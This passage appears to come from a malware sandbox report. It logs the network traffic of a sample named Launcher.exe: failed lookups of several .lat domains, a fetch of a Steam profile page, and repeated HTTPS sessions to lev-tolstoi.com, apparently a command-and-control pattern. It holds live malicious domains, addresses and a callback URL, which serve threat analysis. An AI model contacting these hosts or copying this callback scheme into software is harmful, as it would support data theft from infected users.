Dec 22, 2024 23:50:02.591372967 CET	443	49705	23.55.153.106	192.168.2.5
Dec 22, 2024 23:50:03.312517881 CET	443	49705	23.55.153.106	192.168.2.5
Dec 22, 2024 23:50:03.312536955 CET	443	49705	23.55.153.106	192.168.2.5
Dec 22, 2024 23:50:03.312566996 CET	443	49705	23.55.153.106	192.168.2.5
Dec 22, 2024 23:50:03.312582016 CET	443	49705	23.55.153.106	192.168.2.5
Dec 22, 2024 23:50:03.312609911 CET	443	49705	23.55.153.106	192.168.2.5
Dec 22, 2024 23:50:03.312661886 CET	49705	443	192.168.2.5	23.55.153.106
Dec 22, 2024 23:50:03.312710047 CET	443	49705	23.55.153.106	192.168.2.5
Dec 22, 2024 23:50:03.312747002 CET	49705	443	192.168.2.5	23.55.153.106
Dec 22, 2024 23:50:03.312784910 CET	49705	443	192.168.2.5	23.55.153.106
Dec 22, 2024 23:50:03.486246109 CET	443	49705	23.55.153.106	192.168.2.5
Dec 22, 2024 23:50:03.486294031 CET	443	49705	23.55.153.106	192.168.2.5
Dec 22, 2024 23:50:03.486346006 CET	49705	443	192.168.2.5	23.55.153.106
Dec 22, 2024 23:50:03.486377954 CET	443	49705	23.55.153.106	192.168.2.5
Dec 22, 2024 23:50:03.486463070 CET	49705	443	192.168.2.5	23.55.153.106
Dec 22, 2024 23:50:03.510433912 CET	443	49705	23.55.153.106	192.168.2.5
Dec 22, 2024 23:50:03.510505915 CET	443	49705	23.55.153.106	192.168.2.5
Dec 22, 2024 23:50:03.510529995 CET	443	49705	23.55.153.106	192.168.2.5
Dec 22, 2024 23:50:03.510546923 CET	49705	443	192.168.2.5	23.55.153.106
Dec 22, 2024 23:50:03.510592937 CET	49705	443	192.168.2.5	23.55.153.106
Dec 22, 2024 23:50:03.511204958 CET	49705	443	192.168.2.5	23.55.153.106
Dec 22, 2024 23:50:03.511241913 CET	443	49705	23.55.153.106	192.168.2.5
Dec 22, 2024 23:50:03.511267900 CET	49705	443	192.168.2.5	23.55.153.106
Dec 22, 2024 23:50:03.511282921 CET	443	49705	23.55.153.106	192.168.2.5
Dec 22, 2024 23:50:03.781136990 CET	49708	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:03.781208992 CET	443	49708	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:03.781339884 CET	49708	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:03.781887054 CET	49708	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:03.781920910 CET	443	49708	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:04.998505116 CET	443	49708	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:04.998605967 CET	49708	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:05.002111912 CET	49708	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:05.002132893 CET	443	49708	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:05.002387047 CET	443	49708	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:05.009918928 CET	49708	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:05.009980917 CET	49708	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:05.010020018 CET	443	49708	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:05.781739950 CET	443	49708	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:05.781826973 CET	443	49708	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:05.781882048 CET	49708	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:05.782799959 CET	49708	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:05.782814980 CET	443	49708	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:05.782838106 CET	49708	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:05.782841921 CET	443	49708	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:05.824282885 CET	49712	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:05.824331045 CET	443	49712	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:05.824400902 CET	49712	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:05.824863911 CET	49712	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:05.824882030 CET	443	49712	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:07.040220022 CET	443	49712	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:07.040340900 CET	49712	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:07.041497946 CET	49712	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:07.041512012 CET	443	49712	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:07.041837931 CET	443	49712	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:07.053268909 CET	49712	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:07.053302050 CET	49712	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:07.053355932 CET	443	49712	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:08.103945971 CET	443	49712	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:08.104007006 CET	443	49712	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:08.104059935 CET	443	49712	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:08.104103088 CET	443	49712	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:08.104120016 CET	49712	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:08.104146957 CET	443	49712	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:08.104187012 CET	49712	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:08.104191065 CET	443	49712	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:08.104240894 CET	49712	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:08.104249001 CET	443	49712	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:08.113692045 CET	443	49712	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:08.113764048 CET	49712	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:08.113775969 CET	443	49712	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:08.122108936 CET	443	49712	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:08.122186899 CET	49712	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:08.122226954 CET	443	49712	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:08.164457083 CET	49712	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:08.223295927 CET	443	49712	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:08.273861885 CET	49712	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:08.273895025 CET	443	49712	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:08.299438953 CET	443	49712	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:08.299490929 CET	443	49712	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:08.299518108 CET	49712	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:08.299526930 CET	443	49712	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:08.299623966 CET	49712	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:08.299631119 CET	443	49712	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:08.299644947 CET	443	49712	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:08.299705029 CET	49712	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:08.299947977 CET	49712	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:08.299964905 CET	443	49712	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:08.300009012 CET	49712	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:08.300017118 CET	443	49712	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:08.514091969 CET	49713	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:08.514209032 CET	443	49713	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:08.514323950 CET	49713	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:08.514789104 CET	49713	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:08.514825106 CET	443	49713	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:09.729980946 CET	443	49713	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:09.730127096 CET	49713	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:09.731549978 CET	49713	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:09.731584072 CET	443	49713	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:09.731931925 CET	443	49713	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:09.738755941 CET	49713	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:09.738935947 CET	49713	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:09.738991022 CET	443	49713	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:10.876774073 CET	443	49713	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:10.877022028 CET	443	49713	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:10.877237082 CET	49713	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:10.877286911 CET	49713	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:10.877312899 CET	443	49713	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:11.062669039 CET	49715	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:11.062727928 CET	443	49715	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:11.062931061 CET	49715	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:11.063288927 CET	49715	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:11.063334942 CET	443	49715	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:12.283243895 CET	443	49715	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:12.283390045 CET	49715	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:12.285157919 CET	49715	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:12.285206079 CET	443	49715	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:12.285562992 CET	443	49715	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:12.287364006 CET	49715	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:12.287528992 CET	49715	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:12.287581921 CET	443	49715	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:12.287655115 CET	49715	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:12.331358910 CET	443	49715	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:24.335417986 CET	443	49715	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:24.335721016 CET	443	49715	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:24.335819006 CET	49715	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:24.335942984 CET	49715	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:24.335982084 CET	443	49715	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:24.579026937 CET	49745	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:24.579128027 CET	443	49745	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:24.579282999 CET	49745	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:24.579602957 CET	49745	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:24.579641104 CET	443	49745	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:25.800126076 CET	443	49745	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:25.800225019 CET	49745	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:25.801840067 CET	49745	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:25.801855087 CET	443	49745	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:25.802898884 CET	443	49745	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:25.807099104 CET	49745	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:25.807322979 CET	49745	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:25.807357073 CET	443	49745	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:25.807431936 CET	49745	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:25.807441950 CET	443	49745	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:26.766957045 CET	443	49745	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:26.767299891 CET	443	49745	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:26.767479897 CET	49745	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:26.767766953 CET	49745	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:26.767812014 CET	443	49745	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:27.562633038 CET	49756	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:27.562669039 CET	443	49756	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:27.562757969 CET	49756	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:27.563277960 CET	49756	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:27.563296080 CET	443	49756	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:28.783857107 CET	443	49756	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:28.783946037 CET	49756	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:28.785116911 CET	49756	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:28.785130978 CET	443	49756	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:28.785620928 CET	443	49756	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:28.786763906 CET	49756	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:28.786880970 CET	49756	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:28.786889076 CET	443	49756	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:29.459789038 CET	443	49756	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:29.460015059 CET	443	49756	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:29.460092068 CET	49756	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:29.460165977 CET	49756	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:29.460190058 CET	443	49756	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:29.943731070 CET	49762	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:29.943780899 CET	443	49762	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:29.943916082 CET	49762	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:29.944173098 CET	49762	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:29.944212914 CET	443	49762	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:31.163491964 CET	443	49762	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:31.163794041 CET	49762	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:31.164926052 CET	49762	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:31.164942026 CET	443	49762	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:31.165427923 CET	443	49762	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:31.182574987 CET	49762	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:31.183401108 CET	49762	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:31.183471918 CET	443	49762	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:31.183618069 CET	49762	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:31.183679104 CET	443	49762	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:31.183810949 CET	49762	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:31.184048891 CET	443	49762	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:31.184231043 CET	49762	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:31.184268951 CET	443	49762	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:31.184484005 CET	49762	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:31.184526920 CET	443	49762	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:31.184735060 CET	49762	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:31.184783936 CET	49762	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:31.184799910 CET	443	49762	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:31.184889078 CET	443	49762	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:31.185076952 CET	49762	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:31.185148001 CET	49762	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:31.227349997 CET	443	49762	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:31.227643967 CET	49762	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:31.227766037 CET	49762	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:31.227807045 CET	49762	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:31.275368929 CET	443	49762	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:31.278640985 CET	49762	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:31.278729916 CET	49762	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:31.278769016 CET	49762	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:31.320595980 CET	49762	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:31.320615053 CET	443	49762	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:31.544893026 CET	443	49762	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:38.639003992 CET	443	49762	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:38.639257908 CET	443	49762	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:38.639352083 CET	49762	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:38.639452934 CET	49762	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:38.639477968 CET	443	49762	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:38.648803949 CET	49783	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:38.648844957 CET	443	49783	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:38.648936033 CET	49783	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:38.649203062 CET	49783	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:38.649224043 CET	443	49783	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:39.867623091 CET	443	49783	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:39.867758036 CET	49783	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:39.869575024 CET	49783	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:39.869589090 CET	443	49783	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:39.870011091 CET	443	49783	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:39.871663094 CET	49783	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:39.871707916 CET	49783	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:39.871776104 CET	443	49783	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:40.653171062 CET	443	49783	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:40.653307915 CET	443	49783	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:40.653395891 CET	49783	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:40.653605938 CET	49783	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:40.653620958 CET	443	49783	104.21.66.86	192.168.2.5
Dec 22, 2024 23:50:40.653636932 CET	49783	443	192.168.2.5	104.21.66.86
Dec 22, 2024 23:50:40.653645039 CET	443	49783	104.21.66.86	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 22, 2024 23:49:57.881650925 CET	60024	53	192.168.2.5	1.1.1.1
Dec 22, 2024 23:49:58.105310917 CET	53	60024	1.1.1.1	192.168.2.5
Dec 22, 2024 23:49:58.128956079 CET	57378	53	192.168.2.5	1.1.1.1
Dec 22, 2024 23:49:58.515722036 CET	53	57378	1.1.1.1	192.168.2.5
Dec 22, 2024 23:49:58.518569946 CET	58119	53	192.168.2.5	1.1.1.1
Dec 22, 2024 23:49:58.996982098 CET	53	58119	1.1.1.1	192.168.2.5
Dec 22, 2024 23:49:58.998433113 CET	63340	53	192.168.2.5	1.1.1.1
Dec 22, 2024 23:49:59.305232048 CET	53	63340	1.1.1.1	192.168.2.5
Dec 22, 2024 23:49:59.374716997 CET	51134	53	192.168.2.5	1.1.1.1
Dec 22, 2024 23:49:59.764899969 CET	53	51134	1.1.1.1	192.168.2.5
Dec 22, 2024 23:49:59.769175053 CET	62557	53	192.168.2.5	1.1.1.1
Dec 22, 2024 23:50:00.076095104 CET	53	62557	1.1.1.1	192.168.2.5
Dec 22, 2024 23:50:00.095091105 CET	53062	53	192.168.2.5	1.1.1.1
Dec 22, 2024 23:50:00.320553064 CET	53	53062	1.1.1.1	192.168.2.5
Dec 22, 2024 23:50:00.322272062 CET	57611	53	192.168.2.5	1.1.1.1
Dec 22, 2024 23:50:00.542573929 CET	53	57611	1.1.1.1	192.168.2.5
Dec 22, 2024 23:50:00.544562101 CET	61042	53	192.168.2.5	1.1.1.1
Dec 22, 2024 23:50:00.946012974 CET	53	61042	1.1.1.1	192.168.2.5
Dec 22, 2024 23:50:00.949609995 CET	54378	53	192.168.2.5	1.1.1.1
Dec 22, 2024 23:50:01.089485884 CET	53	54378	1.1.1.1	192.168.2.5
Dec 22, 2024 23:50:03.513279915 CET	55098	53	192.168.2.5	1.1.1.1
Dec 22, 2024 23:50:03.780056000 CET	53	55098	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 22, 2024 23:49:57.881650925 CET	192.168.2.5	1.1.1.1	0x6a3b	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 22, 2024 23:49:58.128956079 CET	192.168.2.5	1.1.1.1	0xea53	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false
Dec 22, 2024 23:49:58.518569946 CET	192.168.2.5	1.1.1.1	0xb652	Standard query (0)	discokeyus.lat	A (IP address)	IN (0x0001)	false
Dec 22, 2024 23:49:58.998433113 CET	192.168.2.5	1.1.1.1	0xe9d1	Standard query (0)	necklacebudi.lat	A (IP address)	IN (0x0001)	false
Dec 22, 2024 23:49:59.374716997 CET	192.168.2.5	1.1.1.1	0x4a42	Standard query (0)	energyaffai.lat	A (IP address)	IN (0x0001)	false
Dec 22, 2024 23:49:59.769175053 CET	192.168.2.5	1.1.1.1	0x4058	Standard query (0)	aspecteirs.lat	A (IP address)	IN (0x0001)	false
Dec 22, 2024 23:50:00.095091105 CET	192.168.2.5	1.1.1.1	0xfcef	Standard query (0)	sustainskelet.lat	A (IP address)	IN (0x0001)	false
Dec 22, 2024 23:50:00.322272062 CET	192.168.2.5	1.1.1.1	0x7e99	Standard query (0)	crosshuaht.lat	A (IP address)	IN (0x0001)	false
Dec 22, 2024 23:50:00.544562101 CET	192.168.2.5	1.1.1.1	0xa8b1	Standard query (0)	rapeflowwj.lat	A (IP address)	IN (0x0001)	false
Dec 22, 2024 23:50:00.949609995 CET	192.168.2.5	1.1.1.1	0x57de	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 22, 2024 23:50:03.513279915 CET	192.168.2.5	1.1.1.1	0xeab	Standard query (0)	lev-tolstoi.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 22, 2024 23:49:58.105310917 CET	1.1.1.1	192.168.2.5	0x6a3b	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 22, 2024 23:49:58.515722036 CET	1.1.1.1	192.168.2.5	0xea53	Name error (3)	grannyejh.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 22, 2024 23:49:58.996982098 CET	1.1.1.1	192.168.2.5	0xb652	Name error (3)	discokeyus.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 22, 2024 23:49:59.305232048 CET	1.1.1.1	192.168.2.5	0xe9d1	Name error (3)	necklacebudi.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 22, 2024 23:49:59.764899969 CET	1.1.1.1	192.168.2.5	0x4a42	Name error (3)	energyaffai.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 22, 2024 23:50:00.076095104 CET	1.1.1.1	192.168.2.5	0x4058	Name error (3)	aspecteirs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 22, 2024 23:50:00.320553064 CET	1.1.1.1	192.168.2.5	0xfcef	Name error (3)	sustainskelet.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 22, 2024 23:50:00.542573929 CET	1.1.1.1	192.168.2.5	0x7e99	Name error (3)	crosshuaht.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 22, 2024 23:50:00.946012974 CET	1.1.1.1	192.168.2.5	0xa8b1	Name error (3)	rapeflowwj.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 22, 2024 23:50:01.089485884 CET	1.1.1.1	192.168.2.5	0x57de	No error (0)	steamcommunity.com		23.55.153.106	A (IP address)	IN (0x0001)	false
Dec 22, 2024 23:50:03.780056000 CET	1.1.1.1	192.168.2.5	0xeab	No error (0)	lev-tolstoi.com		104.21.66.86	A (IP address)	IN (0x0001)	false
Dec 22, 2024 23:50:03.780056000 CET	1.1.1.1	192.168.2.5	0xeab	No error (0)	lev-tolstoi.com		172.67.157.254	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

lev-tolstoi.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	23.55.153.106	443	6292	C:\Users\user\Desktop\Launcher.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 22:50:02 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-22 22:50:03 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Sun, 22 Dec 2024 22:50:03 GMT Content-Length: 35121 Connection: close Set-Cookie: sessionid=81ac01a1f84d6323cede00b0; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-22 22:50:03 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
